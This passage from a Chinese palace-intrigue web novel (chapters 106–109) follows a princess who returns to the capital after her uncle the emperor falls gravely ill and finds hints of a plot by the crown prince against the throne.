她蓦地住了嘴,响起暑日时北疆的一场疫病,“是不是因为我……因为我那次不听话染了疫病,他才忧虑过甚,担心我在北疆过得不好,才搞垮了身子?” “不要将什么过错都揽到自己身上,眠眠,你先冷静一些,你在北疆做得这些事,陛下为你高兴骄傲还来不及,岂会因此忧虑伤身?”百里浔舟掰正封眠的脸,摸索着擦去她脸上湿漉漉的泪痕。 “你先想一想,这位秋实公公可信吗?别忘了,罗家的大本营在盛京之中,父亲和小叔叔那里还没有消息传来,这当口京中突然来人接你,会不会还有什么其他的目的?” 第106章 在百里浔舟的安抚下,封眠渐渐冷静了下来,急促的呼吸重新变得平缓。她被百里浔舟半揽着,坐回到火光耀耀的炉灶前,温暖的光为两人镀上朦胧的金边。 “秋实公公是舅舅身边最得用的苏大监的义子,很是被苏大监器重。他亲自来传的消息,应当不会是假的。” “不过你说得对,现下还是应谨慎一些。”封眠靠着百里浔舟的肩头,“明日一早,我去郡守府寻九哥问问看,若是舅舅身子真的不大好了,他应当也是要被召回宫的。” 百里浔舟:“让山衣去一趟吧,免得消息传出去,横生枝节。” 这一夜两人都未能安眠,封眠心中记挂着舅舅,睡得极浅,时不时便会梦到儿时舅舅将她抱在膝头读书的画面。虽然他对她的爱有着一定的前提条件,但那确实是封眠曾经收到过最好的爱,护佑着她平安长大。 梦中她两只小手艰难地捧着书,抬头想要问舅舅一个字如何念,便有血一滴滴落到她的脸上,视野被一片刺目的红晕开。 她惊喘着醒了片刻,立刻被守在一旁的百里浔舟察觉到,他拍了拍她的后背,哄着她迷迷糊糊再次睡去。 朦胧间,她又梦到被太后丢进道观里的那七日。 符灰水的味道烟熏火燎,被强行灌进肚子里,泛起一阵反胃的恶心感。然而多日滴米未进,她想吐都只能吐出胆汁来。 素麻衣料磨得皮肤生疼,她蜷缩在禁闭的窗下。日光隔窗而落,笼罩在她身上,然她却觉得浑身冰凉,仿佛浸在冬日冰河里一般。她以为自己就要死在那里了。 房门骤然被踹开,满脸急切的嘉裕帝逆着光冲了进来。他顾不得什么帝王威严,踉跄着半跪在她身侧的地面上,将她小心揽入怀中,轻轻地抱了起来。 他的怀抱带着日光的暖意,让封眠的身躯逐渐暖了起来。她侧了侧身,将冰凉的脸埋进他的怀里,感觉到他抬手捂住了自己的耳朵,与太后愤怒地争执着,激烈的情绪透过胸腔的震颤传递给封眠。 突然,耳边安静了下来,她不安地伸出手想要抓住嘉裕帝的衣襟,却抓了个空。 稳稳抱住她的坚实怀抱猛地一空,轰然散做尘埃。 突如其来的失重感袭来。 “舅舅!” 封眠浑身一抖,从梦中惊醒过来。 满是冷汗的冰凉的手立即被一只温暖的手握住。百里浔舟用衣角细细擦拭她指尖的冷汗,“又做噩梦了?” 彻底清醒的封眠侧身看向百里浔舟。 为了守着她,他始终不曾安寝,长睫疲惫地耷着。感觉到封眠的注视,他抬了抬眼睫,空洞的眸子虽然不能视物,还是盯住了他封眠眼睛的位置。 封眠先是无声地点了点头,旋即意识到百里浔舟看不见,才开口道:“嗯,我梦见舅舅……” 久睡后的嗓音嘶哑,后续的话哽在喉间,梦中所见的死亡预兆终究无法说出口。 她失了一会儿神,直到手心被担心她的百里浔舟捏了捏才回过神来,她接着道:“我只是太担心了……我害怕舅舅是真的病重,时日无多……若这只是一个诓骗我回京的理由,我倒反而安心了。” “当年那么多人反对他将我养在身边,可他还是力排众议,亲自将我抚养长大。”封眠声音里带上一点哽咽,“褚景涟一直讨厌我,也是因为觉得舅舅总是偏心于我。我知道,对于一个濡慕父亲的女儿来说,自己的父亲最疼爱的是别人家的女儿,自然是无法接受。可是我为了自己能在宫里生活得好一些,却一直在利用这一点……” “你那时也只是一个小孩子。”百里浔舟将她往怀里带了带,柔声哄着,“皇宫那般吃人的地方,没有陛下护佑,你如何能活得下来?不要太过苛责自己。” “况且你们之间的感情,总是远远多于这一点小小的私心。” 他将下巴轻抵在她发顶,声音中带着令人安心的沉静,“别怕,父亲、母亲,还有我,我们都在北疆等你归来。” 他懂得封眠的恐惧,她拥有的亲人本就不多,每经历一次失去便是一次剜骨的痛。他想陪在她身边,但以他的身份,陛下无诏,他入不了京,只能一再地向她承诺着,尽量让她多几分安心。 “再睡会儿吧。”他一下一下轻抚她的后背,哄着,“养足了精神,明日若真要启程,也不至于太过劳累。” 在他安稳的怀抱里,封眠终于沉沉睡去。 待到清晨醒来时,山衣已经带着消息回来了。 “属下赶到郡守府时,瞧见小侯爷正收拾行装呢。秦王派人来催他回府,也是为着陛下病重一事。小侯爷说,五皇子也被陛下急令召回去了。” 最后一丝侥幸被打破。嘉裕帝病重的消息,终究是尘埃落定。 封眠身形微微晃了晃,迅速吩咐下去,“收整行装,一切从简,我们即日出发。” 待秋实公公再次赶来藏弓院时,封眠的行李已基本打点妥当。 他身边跟着的一个面嫩的小内监都看呆了,脱口而出:“这么快?” 秋实公公横了他一眼,他自知失言,讷讷噤声,垂下头去。 “小石头这孩子不懂规矩,还请郡主恕罪” 封眠摆手,“无妨。只是不知公公可休息好了?若即刻启程,身体可能支撑?” “劳郡主殿下惦记着了。”秋实公公躬身道,“奴婢随时可动身。” 嘉裕帝病重一事毕竟不好与百姓们知道,以免引起不必要的恐慌,对外便只道年节将至,郡主要回京探望一趟。 百姓们舍不得,自发聚集起来,乌泱泱跟到了城门口,七嘴八舌地叮嘱“郡主早点回来!”,又说“也不必忙着赶路,路上慢慢走就是了,郡主的身子最要紧!” 百姓们此起彼伏的叮嘱声逐渐隐去,红着眼眶将狐裘披风仔细系在封眠肩头,与她执手依依惜别。“路上千万照顾好自己,无论发生什么事,你的身子是最重要的,万不可太过伤心伤身,知道吗?” 封眠哽咽着点点头,柳寄雪上前来,将一兜子瓶瓶罐罐交给她身后的雾柳,“我做了些日常保养的丸药,你路上记得吃一些,免得天寒地冻连日奔波,再生一场大病。” “好,多谢阿雪。”她与柳寄雪拥抱了一下,最后走向静立在马车旁等着她的百里浔舟。 她伸手替他拢紧大氅,抬手轻轻摸了摸覆在他双眼之上的绸带,十分遗憾,“看来我不能陪着你一起重见光明了。若是舅舅安好,我定赶在年节前回来,到时你可记得要带我去冰嬉。” “好”,他准确地握住她冰凉的手,指腹摩挲着她的手腕,“我等你回来。” 封眠轻轻环住他的腰身,踮脚抱了个满怀,轻声在他耳边叮嘱,“你与小叔叔说一声,让他注意自己安全。” “好,我与父亲都不会让他涉险的。” 封眠贪恋地在他温暖的怀中蹭了蹭,终是果断抽身上了马车,生怕自己再耽搁下去愈发舍不得走。 车辙碾过土路缓缓启动,巍峨的城楼渐渐缩成剪影。百里浔舟始终面向马车离去的方向,直到王妃走到他身侧,拍了拍他的肩头,便知马车已然驶到了看不见的地方。 时还是春寒料峭,归去已是凛冬深重,两趟行程偏巧都撞上北地的严寒时节。好在流萤和雾柳都有了经验,将马车内外布置得密不透风,银炭盆终日燃着,暖手炉时时更换。 封眠归心似箭,车队日夜兼程,幸而有柳寄雪的丸药备在身边,一直行到北疆界外,封眠都还未曾病过。 这日午间,车队又停下歇息,准备用过午膳再赶往下一间驿站。众人纷纷埋锅做饭,煮起了离开云中郡时从汤饼作坊带走的即食汤饼,空气中飘荡起温暖的香气。 封眠将窗推开一半,目光落到不远处在秋实公公身侧忙前忙后的小石头身上。这些时日她发现,每逢停车休整时,这个名唤小石头的内监总盯着她的马车欲言又止,却也不见来找她说话,让她觉得有点奇怪。 “流萤。”封眠冲流萤招招手,附耳与她说了几句话。 片刻后,流萤拎着裙角下了马车。她兴冲冲地跑到陆指挥使面前,向他要了一大锅煮好的汤饼。 陆指挥使愕然:“流萤姑娘,马车上就你们三人,吃得了这么多吗?” “郡主今日胃口好,就要这么多。你只管拿给我就是了。” 陆指挥使饶是担心也没法,只能遂了她的意,装满了足有三个人脸那般大的陶盆。 “这么大一盆,我帮你端过去吧……” 陆指挥使刚要上手,流萤便飞快地将陶盆端走,“不用不用,我能行,指挥使您快用饭吧。” 陆指挥使便目送着流萤小碎步飞快跑走,看着路过秋实公公附近时开始呜呜哀嚎:“烫烫烫,小石头,你快帮我端一下!” 被点了名的小石头忙丢下手中的碗,上前端住陶盆,跟着流萤往郡主的马车走去。 陆指挥使:“……” 早这样,干嘛不让他帮忙呢?姑娘家的心思真是古怪。 流萤推开马车们,摆出一张团团笑脸,“小石头公公,烦请你帮我送上去一下吧,太重了,我端不上去。” 小石头只是一味地点头,端着陶盆进了马车。流萤跟在他身后上去,自然地将马车们在自己身后关上。 小石头埋着头不敢四处乱瞧,将陶盆搁下便要走,却听封眠轻轻地开口叫住他。 “小石头,你是不是有什么话想与我说。”封眠探询地看向小石头。 小石头被吓了一条,微微抖了一下,他紧张仓促地看一眼马车门的方向,神色惶然。 “你别怕,我不会告诉别人的……” “殿下您快走吧。”小石头突然用气声说道。 封眠一怔:“什么?” “您快走……别回京……”小石头飞快地重复道,双手微微发颤,踉跄着退到了马车门边,忽然扬声道:“多谢郡主殿下,奴才方才吃过了,就不打扰郡主殿下了,奴才告退!” 他匆匆推门离开,车门开闭的瞬间,封眠自缝隙里瞧见秋实公公警觉狐疑的目光。 第107章 公公堆着满脸…… 秋实公公堆着满脸笑纹迎到车前,慈眉善目道:“郡主殿下,小石头年纪小不懂事,若是冲撞了郡主,老奴替他赔个不是,还望郡主海涵。” 他看似保护地将小石头拉到自己身后,实则目光探究地在他和马车内转了一圈,似是在暗暗打探方才小石头进入马车内的短短几息内有无发生什么。 “没什么,我只是想谢谢小石头帮了流萤的忙,请他用一碗汤饼罢了。”封眠态度如常,看不出丝毫异样之色,温和叮嘱了句,“既然用过饭了,便去早些休息吧,很快还要上路呢。” 流萤和雾柳亦是一派平静地向秋实公公福了福身。 雾柳手扶在马车门框上,礼貌问道:“公公可还有事?郡主要用膳了。” 总不好一直开着马车门,让郡主吃一口饭,喝一口风吧? “无事,老奴便不打扰郡主用膳了。”秋实公公忙识趣地退开。 马车门缓缓关上,将所有视线隔绝在外。 流萤这才腿软地坐到封眠身侧,抖着嗓子问,“郡主,小石头方才是什么意思啊?他让咱们快走,是不是有什么危险?难道秋实公公是旁人假扮的?” 雾柳哭笑不得地看她一眼,凑上前轻声道:“他方才让咱们别回京,莫不是京中有什么危险?” 虽然有鸾仪卫护在马车外,应当不会有人胆大包天趴在马车上偷听,三人还是将脑袋凑到了一处,用气音交流着。 “也许。但眼下未必走得成。”封眠有些心神不宁,但还是从陶盆里捞了一碗汤饼出来,谨记着要好好吃饭,不能将身子搞垮的叮嘱。 她逼着自己一口口吃掉热腾腾的汤饼,食不知味地在心下盘算起来。 她不能确定鸾仪卫是否可信,虽然他们一路将她从盛京护送到北疆,如今又护送她回盛京,一段时间以来都是恪尽职守。但这些人毕竟是从盛京的禁卫中擢选而来,谁知道他们背后站着的家族是哪一方势力? 万一其中就有叛徒呢?更何况秋实公公也带了一队侍卫,以她的身体情况和脚程,又无人接应,怕是跑不出几里地就被抓回来了。到时撕破了脸,情况不知会比现在多多少倍。 如今敌我未明,她连幕后之人的目的都不清楚,只能冒险走一步看一步,见机行事。 她吃尽一碗汤饼,再吃不下了,便将碗筷搁下,摸出颈间的骨哨摩挲着。轻衣比他们早出发几日,也不知能不能在附近联络上?等会儿在路上试试看吧,总要想办法将消息送回去。 她将骨哨收好,从怀中掏出离京时舅舅塞给她的那枚小锦囊。前途是一片可预见的未知的危险,她还是趁尚未泥足深陷的时候,先看看舅舅这锦囊里装了些什么,免得到了危难关头,连打开锦囊的机会都没有。 小锦囊只有巴掌大,用的也是不起眼的草灰色棉麻布,捧在手心有一点坠坠的重量。束口倒是封得紧,打的结有些复杂,幸而封眠小时候跟在舅舅身边学过这种结的解法,指尖灵活地动了两下,便将束口的结打开。 她拎着锦囊的底部,将里头的东西倒进掌心,冰凉的触感像是在她手上扎了一下,她下意识握紧了掌心,脑袋一蒙。 她方才看错了?怎么好像看见半枚虎符就这么掉进她手心里了? 她两只手紧紧捂到一处,再小心翼翼地打开一条缝,刻有铭文的错金铜虎符就这么静悄悄地躺在她的手心,冰凉的质感已经快被她的手心捂热。 封眠的心脏怦怦乱跳,小心地将虎符放回锦囊里重新系好,再塞回怀中,掌心捂住衣襟,深呼吸平复着震惊的情绪。 舅舅怎么会那么早就将虎符放到锦囊里交她?他是不是预见了什么,才会提前留下这枚虎符给她,当做退路? 直到马车再次启程,封眠的心跳才渐渐平复,开始思索,她要如何做,才能不辜负这枚虎符所代表的信任? 秋实公公似乎也急于赶回盛京,催促着一行人快些,再快一些。 官道两侧的人烟逐渐多了起来,陆指挥使与副指挥使感叹:“之前在北疆我都要瞧惯了北方的风物了,还想着若是能跟着郡主身边多留几年也是个立功的好机会。如今往盛京的方向走,倒开始想念家乡的风土人情了。” 副指挥使朗笑:“你觉不觉得这儿的秋风都没那么干了?哎哟北疆的风给我吹的呀,脸上都要干掉层皮了!” 说话间,两人听见啁啁鸟鸣,四处张望起来。 陆指挥使:“往南走这天气就是好起来了啊,路边鸟儿都多了,你瞅瞅在哪儿呢,打两只加餐。” 虽说即食汤饼味道不错,但也架不住天天吃啊,实在是馋肉味了。 副指挥使看得眼睛都疼了也没发现鸟的踪迹,遗憾道:“可惜,陆大人没跟咱们一道回去,不然还能请他再做一回诱饵。” 两人想起去北疆的上发生的事,哈哈笑起来,“算了,到了盛京想吃什么没有,且再忍两日吧。” 马车内,封眠将吹出鸟鸣声的骨哨收回衣襟内,心下忐忑,也不知轻衣行到了何处,能不能听见这骨哨声?若是这个法子不成,入京后她必须得想办法独处一阵,寻别的渠道传信。 夜色深浓,马车静静停在驿站后院,几名鸾仪卫仔细检查周围的情况。 “行了,你们先去休息吧,明日天不亮又要启程。” “队长,你去休息吧,我跟小甲来守夜。” “少来这套,滚去睡。”被称作队长的鸾仪卫挥挥手将剩下三人赶走,看着他们走出院子,忽然觉得身后似乎有什么动静,他猛地回头,却什么也没看到。目之所及,除了驿站的两盏灯笼勉强照亮的一隅,其余地方皆是一片黑暗。 树枝尚有震颤,但光秃秃的枝干上也不足以躲下一个人。 “风这么大吗?”小队长嘀咕一句,抬步走到屋檐下,抱臂而立。 在他头顶处,屋宇侧面的阴影中探出一道黑影来。他略微探头看了一眼廊下枯立的鸾仪卫,轻快地跃上房檐,一阵风般迅速掠了过去,半点涟漪也未留下。 整座驿站静悄悄黑漆漆的,唯有三层一间屋子模糊印出一点豆大的光来。 黑衣人攀到窗下,以掌掩唇,发出细弱的鸟鸣声。 很快,头顶的窗被轻轻支开,他撑身翻了进去。 一落地,他顺手关窗,接着向屋内的人抱拳行礼:“深夜惊扰郡主,轻衣失礼了。” “无妨,你快过来坐。”封眠坐在屋子中央的桌旁,身侧只有一盏微弱的亮着光的油灯,“我担心被人发现,不好点灯,只能借口怕黑,留了一盏夜灯。” 她已经做好了空等一夜的准备,没想到轻衣来得这么快。 “属下半途收到世子飞鸽传书,说是郡主也要入京,命属下缓行片刻,等一等郡主,免得郡主有急事相寻。”轻衣走近了些,但没敢坐,先老实地将自己明明早出发了好几日,今日却还能与封眠相见的缘由说了清楚。 毕竟如果嘉裕帝当真病重,他就算抢先赶到京城,也见不到人,不如与封眠一道入京,还能互相照应,便宜行事。 “幸好他给你传了信。”没想到百里浔舟思虑得如此周全,封眠觉得心下稍定,再一次吩咐轻衣坐下,“接下来要说的事十分紧要,你附耳过来。” 轻衣便干脆上前一步,半跪在封眠身侧,恰好足以听见她耳语。 封眠没再强求他一定要坐下听自己说话,低声将事情说了,“军中应有传信密语,你先想法子将此事告知世子,然后……” 油灯的光忽明忽暗,燃烧的灯芯渐渐没入灯油,嗤地一声灭了。 屋内陷入一片黑暗的瞬间,窗外初升的朝霞一点点攀上了窗缘,照亮已然人去楼空的厢房。 官道上,马车风尘仆仆地迎着凛风向盛京疾驰。 愈近京城,市井喧嚣便愈发热闹。虽值寒冬,长街两侧依旧热闹非凡,空气中飘着糖炒栗子的甜香,贩夫走卒的吆喝声此起彼伏。 耳边听着熟悉的乡音,饶是封眠一路紧绷的神经都略略松了松。 “停车!宫门禁地,何人擅闯!"” 宫门口的守卫长枪交错拦住去路,秋实公公艰难地从马车上爬下来,正要上前说明此乃清平郡主车驾,便听见疾驰的马蹄声自宫道内传来。 “放行!”太子褚景泽一骑当先,出现在宫门口,玉冠微斜,身上大氅于风中猎猎作响。 “参见太子殿下!”宫门守卫匆匆行礼,急忙搬开行马,为马车挪路。 封眠推开马车门,望见熟悉的人影近在咫尺,眼眶蓦地红了。 “阿兄。” 褚景泽策马行 到马车旁,他神色肉眼可见的疲惫,眼下带着浓重的青黑,却还是对着封眠挤出一个温和的笑,他伸手揉了揉她被风吹乱的发顶,“好了,别哭鼻子,快去看看父皇吧。” 还未踏进明心殿,浓郁的药味便扑了满鼻,封眠一时心慌腿软,向一旁伸手想扶住流萤稳住身形,掌心却落进更宽大的一只手中。 褚景泽走上前来,挡开流萤,扶住了封眠的手,紧紧握住,“别怕,父皇如今情况还算稳定,只是……” 褚景泽扶着封眠走入寝间,明黄帐幔间,嘉裕帝静静躺着,双目紧闭,面容此刻苍白如纸,唯有胸膛微弱的起伏尚且有积分生机。 “一直昏迷未醒。” 第108章 明黄锦被间那双手枯槁干瘦,苍白得透着病气。封眠颤抖着手握住,掌心传来的冰凉让她眼睫一抖,泪珠便如断了线一般落下来,在被面上洇开深色的痕迹。 半年前送她出阁时,这双手还曾温柔地抚过她的发顶,如今却已苍老了这么多。 屋内烧着地龙,温暖如春,这双手却却冷得让人心慌。 封眠不住摩挲着冰凉的指节,试图用掌心让他温暖起来,声音哽咽:“舅舅,小满回来了,您能听见我的声音吗?” 榻上之人双目紧闭,没有丝毫反应。 封眠再忍不住,埋首闷声哭了起来,肩膀微微颤抖着。 一只手探上她的肩头轻轻拍了拍,褚景泽站到他身后,温声安抚:“太医说父皇如今的情况还算稳定,只要亲近之人多多陪伴,醒来的希望极大。” “我已经吩咐人将暑月殿收拾好了,你先去梳洗。若是父皇醒来见你这般奔波憔悴的模样,定要心疼。” 封眠点点头,小心将嘉裕帝的双手塞到被子底下,又细细掖好被角,才一步三回头地随褚景泽出了寝殿。 待她洗去奔波风尘,换上一身家常衣裳出来时,褚景泽已经备好了暖锅等在偏厅。 听见脚步声,他侧首向封眠温柔一笑,暖锅氤氲的热气如云雾一般笼在他身前,将他的眉眼浸得愈发柔和。 “小满,来。” 伺候的宫人们悄声退下,褚景泽亲自挽袖将片好的生肉倒入暖锅中烫煮,“往年一入冬,你便嚷嚷着要与我和父皇一道吃暖锅,说是吃得肺腑皆暖,满头热汗,便可以给冬日开个好头,一整个冬日都不会再病了。” 他将烫熟变色的肉片夹到封眠面前的青釉小碟中,撤身时抬眼在她脸上盯了一瞬,眼神有一丝的缱绻庆幸,“我还以为今年吃不上这一口暖锅了。” 熟悉的环境和久违的暖锅的香气让封眠的心情稍微轻松了一些,也恢复了一点食欲,低头夹起褚景泽递来的肉片,闻言随口说道:“阿兄可以与嫂嫂一同吃嘛,我记得嫂嫂信上说,她也爱吃暖锅的。” 褚景泽执勺的手微微一顿,垂眼笑笑,漫不经心问道:“看来你与百里世子确实相处得不错,北疆的暖锅好吃吗?” 封眠接过褚景泽递来的汤碗,借着喝汤的动作藏住了片刻的犹疑。如今舅舅昏迷不醒,太子阿兄监国理事,罗家疑似谋反之事理应告诉他一声。 但一来她手上并无确切证据,不能保证太子阿兄一定会相信她所言。 二来她想起秋实公公和小石头的诡异言行,盛京中能将手伸到皇宫中的人并不多。她刚回宫,必然有人紧密地盯着她的一举一动不说,她也拿捏不准是否应该信任太子阿兄。毕竟舅舅略过了他,将虎符悄悄放在她的手上,显然对身边的人,都不如对她这般信任。 她搁下汤碗,摇摇头,“还没来得及尝过,便赶着回来看望舅舅。待日后我尝过了,再写信与阿兄说。” 褚景淇不置可否,手上的动作不停,确保封眠面前的碟子里一直有食物,一面与她闲话起来,“在北疆过得还好吗?” 提及北疆,封眠唇角勾起浅浅的笑意。褚景泽一见便知,摇摇头,“好了好了,不必说了,看来很是乐不思蜀。” “哪有,我还是时常会想念舅舅与阿兄的。” 褚景泽轻嗤一声,“我看你也就只有用得到阿兄的时候,才会想起我吧?给太子妃去了那么多封信,给我的却只有寥寥几封。 他故作伤心地“真是白疼你了。” 封眠:“有吗?我也给阿兄写了好几封信呀。” “可要我将信取来,对比一下给你瞧瞧?” 封眠在回想中细细数了一番,颇有些心虚,她不耐烦将同样的事翻来覆去地写上许多遍,时常便偷懒略过了太子阿兄的安分,当即给自己找起借口来,“我与嫂嫂都是女子,自然更有话聊嘛。” “听着真让人伤心。”褚景泽夹了片绿叶菜放进她的小碟中,“阿兄看着你长大,如今竟与阿兄生分地没话聊了。” 暖锅咕嘟作响,封眠忙捞了片肉搁到他碗里,“是我不对,向你赔罪啦。日后我定再不会厚此薄彼,有舅舅和嫂嫂一封信,便有阿兄一封信。” “这还差不多。”褚景泽似是满意了,看着碗中的肉片翘了翘唇角,反手又将锅中的肉尽数捞给了封眠。 “多吃些,你从小就不长肉,这趟回来,瞧着脸又瘦了一圈。” 封眠乖乖地埋头吃肉。 褚景泽一面慢条斯理地吃下封眠夹给他的那片肉,一面瞧着封眠,半晌低低地笑了出来。 “笑什么?”封眠纳罕地抬头看他一眼,见他眼底的笑意直白地满溢出来,更加奇怪,不由摸了摸嘴角,“我脸上有什么脏东西吗?” 褚景泽摇摇头,道:“只是突然想起幼时,你有一段时日很喜欢扮家家酒,假充大人,摘一堆树叶拿来做饭做菜,还要逼着我都吃掉,说不好好吃饭就不长个子……” 掩埋在时光深处的记忆翻了上来,那时褚景涟勒令其他贵女不许同她玩,身边的宫人都与她不熟,她只能颠颠地追在褚景泽屁股后头找他玩。 贵女们玩家家酒,她就找褚景泽玩家家酒,他的身份从祖父、丈夫、儿子、孙儿轮了个遍,一顿顿地被喂树叶子大餐。贵女们打扮漂亮娃娃,她就拿褚景泽玩换装游戏,整天往他头上身上插些树枝叶子和花,堂堂太子爷走出门去活像植物成了精…… 如此种种孩童胡闹事迹,褚景泽竟都好脾气地配合了。 她端起碗遮住脸,一股羞耻热气直冲脑门:“好了好了,求你了阿兄,别再说了,我那时不懂事……” 见她如此反应,褚景泽愈发乐不可支,笑够了才单手支颐,肘部抵在桌上,歪头看着她,眼底笑意绵绵如水,“真怀念啊,那时候的小满短手短腿小小一只,跑也跑不远,就在阿兄身后追着走,什么都与阿兄说,什么都没有阿兄重要……” 知道自己越是羞窘,越是正中褚景泽下怀,封眠便强自平复情绪,哼哼两声将暖锅中的菜都捞走,一片叶子都不给他留。 她鼓着脸颊嘀咕:“都说了那时年纪小,不懂事了。” 况且那时在她心中,舅舅还是与阿兄一般重要的。只是看他这么得意的模样,还是别说出来打击他了,姑且让他多高兴一会儿吧。 “我现在已不是小孩子了。”封眠得意地眨眨眼,“我也是能在北□□当一面的世子妃了,阿兄不许再笑话我。” 褚景泽脸上的笑意淡去,轻轻哼了一声。 他优雅抬手,自一旁的茶炉上拎起小茶壶,倒了两杯茶水,推了一杯给封眠,“暖锅吃多了气躁,多喝些茶。太医如今够忙的了,可别再给他们添个病患。” “多谢阿兄。”封眠接过茶盏一口饮尽,思及依然昏迷未醒的舅舅,心绪又跌了下去,“我吃饱了,我去陪着舅舅吧。” “你再多休息……” “你比我 更需要休息。”她抬眼看向褚景泽眼下青黑,“这些时日你又要忙着监国,又要看顾舅舅,想来许久未休息好了。接下来你便多抽些看顾舅舅的时间去休息,待舅舅醒了,我立刻着人去喊你。舅舅肯定不会怪你的。” 褚景泽顿了顿,没过多地坚持,只道:“我送你回去。” 他起身便要唤人抬轿撵来,封眠拦了拦,“没几步路,走过去吧。正好刚用完膳,‘食饱行百步,长寿百病消’。” 出了暑月殿,才沿着宫道走了百米,封眠忽然蹙眉四处张望。 褚景泽:“瞧什么呢?” “禁卫换防的时辰改了吗?以前这个时候,会有一队禁卫牵着细犬沿着这条路巡逻,今日别说狗影了,怎么连人影都没瞧见?” “原来你说要走路去明心殿,是想来偶遇小狗?” “顺路的事嘛。算了,也许是我们有缘无分吧”封眠没能偶遇细犬,便也干脆地放弃了,却在转身的瞬间微不可察地皱了下眉。 她总觉得宫里的气氛有些不一样了,除了暑月殿因还留着熟悉的宫人而让她感到心安,走在其他地方,总觉得有些风雨欲来的不安感。 “阿兄。” “对了……” 沉默了片刻后,两人同时开口。 对视一眼,封眠道:“阿兄先说吧。” 褚景泽:“我听说罗家的小辈不懂事,在北疆欺负你,险些与你动手。此事我已经与罗公通过气了,往后那小子不会再在你面前造次。” 封眠脚步微微一顿,他怎么知道罗驰尔差点与她动手的事?她可没有写信告状。 似是看穿她心底疑惑,褚景泽补充道:“送节礼的使臣在云中郡时听见了百姓闲谈,特意记了下来报与我听。” 他重重叹气:“若不是这一份偶然,我与父皇都不知你竟受人欺负。北疆到底还是远了些,若是……” “没事啦,有阿琢在,他也根本没讨到什么好处。阿兄你便放心吧,你与舅舅虽不在身边,但舅舅亲手挑的人,也能很好地代你们保护我。” 褚景泽沉默片刻,“你出嫁后,宫里都冷清了许多。我与父皇时常想念。你倒好,有了夫婿,便万事知足,什么都不想了。” “阿兄今日怎么这样絮絮叨叨的?我自然也是想念阿兄与舅舅的,往后我尽量每年都回来看你们!” 褚景泽答以一声轻笑。 不知为何,封眠觉得这声笑带着些微的冷意,很快消散在风中。 第109章 守在病榻前的时光其实格外难熬。 浸在浓郁苦涩的药味中,望着熟悉的亲人不言不动,在冷寂的沉默中肉眼可见的一点一点憔悴下去,似乎连生机也在悄无声息中寸寸流逝。 自己不但什么也做不了,还要强装出积极的模样在他耳畔絮絮叨叨地说话,期盼着某一刻奇迹的发生,然后迎来反复的失望。 封眠守在床边,像小时候嘉裕帝靠在床头给她讲故事哄她睡觉时一般,在他耳边嘀嘀咕咕地讲自己在北疆的事。 “世子的画像与他本人完全是风马牛不相及,改日若舅舅恩准,我便带他回来给您亲眼瞧一瞧。北疆的画师可真是要好好精进一番技艺了。” “面首的事您可别在他面前提起,若是他醋起来哄不好了,舅舅可要负全责。” 她说着话,不时用余光留意着门口方向。 太子阿兄唤流萤去取太子妃给她备的礼,她便借口让雾柳回去取回礼,实则让她悄悄去寻司马监值守的禁卫。 她幼时学着骑马时,舅舅便悄悄与她说过,司马监的禁卫皆是舅舅的亲信,寻常时不跟在他身侧,无人知晓。这样一来若是宫廷生病,便能确保仍有信任的人未被控制起来,有一线翻盘之机。 那时她还天真地想,谁那么大胆敢在宫中生事?没想到自己有朝一日竟也唯有这一条路可以暂行。 可两个时辰过去了,她们俩谁也没有回来。 封眠趴到床边,将头蹭到嘉裕帝的手边,小声透露着一点点脆弱,“舅舅,我有些害怕,你快点醒过来好不好?” 空气中的药味愈发浓郁,夹杂着一丝浅淡的甜香。 封眠的眼皮开始上下打架,她小小地打了个哈欠,只觉脑袋晕乎乎的很重,抬不起头来。心底察觉有一丝不对,但身体已经陷入沉滞,软趴趴伏在床头。她努力地睁大眼睛,还是架不住浓重的睡意,眼皮愈发沉重,视野越来越模糊。 在最彻底陷入黑暗之前,余光中映入一道模糊身影,鼻尖掠过一丝熟悉的墨香。 冬日的御花园略显萧索,一抹鲜红的身影风风火火地闯入灰扑扑的天地。 褚景涟裹着金线密织如意纹秋海棠红斗篷,拎着裙摆噔噔噔往东宫的方向跑,身后碧桃费力地追着。 “公主,公主您慢一点。” “慢不下来!清平那个臭丫头回来了,竟没有人告诉我?还将我这个公主放在眼里吗?我倒要去问问阿兄,就封眠是他妹妹,我便不是他妹妹了吗?” 一路行到东宫门口,她脚步慢下来,想起上次瞧见太子阿兄冷脸的模样,心中还是有些害怕。 “你在这儿守着,若是一会儿阿兄凶我,你便进来说母妃找我有事,把我救出去。” 碧桃乖乖应了,在墙根下站定。 褚景淇走到门口,心下一奇,门口的守卫上哪里去了?转念一想,没人也好,她就要悄咪咪地出现在太子阿兄面前,杀他一个措手不及,让他没时间去想借口! 她蹑手蹑脚地穿过庭院,避开守卫,绕到了书房的后侧,得意一笑。多亏了东宫这么多年都没有什么大的变化,她幼时常常被母亲推着来找太子阿兄玩,可阿兄总是和清平在一起玩。她拉不下脸来,便会偷偷摸摸地寻其他路跑开,久而久之,倒将东宫的隐蔽小路摸得比主人家还要熟。 她正鬼鬼祟祟地沿着墙根往门口走,想要吓太子阿兄一跳,忽然听见书房内传来谈话声,便犹豫地窗下缩成一小团。 阿兄好似在谈正事,这时候冒失地闯进去,必然要挨骂了,还是等一等好了。 她这般想着,好奇地将耳朵凑了过去,太子阿兄每日都在忙些什么呢? 先是一道又陌生又耳熟的中年男人声音:“郡主殿下既然是百里浔舟的软肋,若能拿她以做要挟,定然……” 褚景涟茫然地眨了眨眼,姓百里,难道是那位世子殿下?要挟他做什么? “谁也不能动她。”另一道冷冰冰的声音不容置疑,是太子阿兄。 中年男人似是有些恼了:“陛下都动得,郡主一个小丫头有何动不得?殿下既已将郡主软禁起来……” 一声巨响,中年男人发出一声闷哼,太子道:“孤说了,谁也不能动她。” 语气是褚景涟从未听过的狠厉。 她牢牢捂住嘴巴,双腿一软蹲回了地上,脑中乱成了一团浆糊。什么叫“陛下都动得”?难道父皇的病是人为的?“已将郡主软禁起来”又是什么意思?太子阿兄到底要做什么? 她慌了神,浑身颤抖着,指甲深深嵌入手心,痛意提醒着她快 些离开这里,不能被任何人发现她此刻出现在这里。 她小心翼翼地转身,沿着来时的小路蹑手蹑脚地爬了回去,眼珠还不忘在地上四处张望,生怕自己的衣裳首饰勾到什么地方,留下自己来过的证据。 终于回到接近大门的前院,褚景涟踉踉跄跄地抱着群角跌出来,险些摔到青石板路上,被一双手一把捞了起来。 “昭宁?你这是干嘛去了,弄得如此狼狈?” 褚景涟浑身一抖,扭头看见太子妃狄兰关心的目光,她慌忙抽回手,“我、我哪也没去。” 